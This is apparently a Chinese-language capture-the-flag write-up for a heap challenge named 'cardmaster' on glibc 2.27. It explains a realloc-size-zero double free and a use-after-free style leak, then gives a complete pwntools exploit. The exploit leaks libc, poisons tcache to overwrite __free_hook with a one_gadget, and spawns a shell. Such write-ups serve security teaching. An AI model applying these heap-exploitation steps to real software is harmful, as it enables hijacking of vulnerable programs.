cardmaster
换ld和libc
此步骤略,但是可以发现是2.27的版本
逆向分析
经过分析得到结构体

函数的功能:
1 2 3 4 5 6 7 8 9
| int menu() { puts(" CARD MASTER"); puts(" 1. init card set"); puts(" 2. set info"); puts(" 3. get info"); puts(" 4. shuffle!"); return puts(" 5. show cards"); }
|

利用realloc在申请为0时会执行free策略,来进行释放,并且可以double

show这里没有对堆块进行检查,可以直接打印,有点uaf的感觉
攻击方法
泄露libc基址
第一步利用set_info创建一个0x110的大堆块,然后释放掉得到unsort
这时候还会存在一个tacache bin,然后用init来吧tacache bin清空
1 2 3
| edit(0x110,b'aaaa') free() init()
|
再次free,由于这时花色是全局变量,所以这里执行malloc0,但是malloc最小为0x20,于是从unsortbin切割,由于init中的malloc已经进行一次切割,所以得到的数据在free新申请的数据里存在,并且位置正好在字符串处,打印获得
1 2 3 4 5
| free() show() p.recvuntil("set:") base = u64(p.recvuntil(":")[0:6].ljust(8,b"\x00")) - 0x3ebca0 print(hex(base))
|
二次释放
1 2 3 4 5
| libc.address = base one_gadget = 0x4f322 + base free() free()
|

1
| edit(4,p64(libc.sym['__free_hook']))
|

1 2 3 4 5
| init() edit(4,p64(0))
init() edit(4,p64(one_gadget))
|

完整expoit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import * p = process("cardmaster") context.log_level = "debug" libc = ELF("./libc.so.6")
def init(): p.recvuntil(">>") p.sendline("1")
def free(): p.recvuntil(">>") p.sendline("2") p.recvuntil("nt:") p.sendline("0") p.recvuntil("?") p.sendline("0") p.recvuntil("l:") p.sendline("1000")
def edit(count,cnt):
p.recvuntil(b'>>') p.sendline(b'2') p.recvuntil(b':') p.sendline(str(count)) p.recvuntil(b'?') p.sendline(b'13') p.recvuntil(b':') p.sendline(b'1000') p.recvuntil(b':') p.sendline(cnt)
def show(): p.recvuntil(b'>>') p.sendline(b'3')
edit(0x110,b'aaaa') free() init() free() pause() show() p.recvuntil("set:") base = u64(p.recvuntil(":")[0:6].ljust(8,b"\x00")) - 0x3ebca0 print(hex(base))
libc.address = base one_gadget = 0x4f322 + base free() free() edit(4,p64(libc.sym['__free_hook'])) init() edit(4,p64(0)) init() edit(4,p64(one_gadget)) free() p.interactive()
|

拿到shell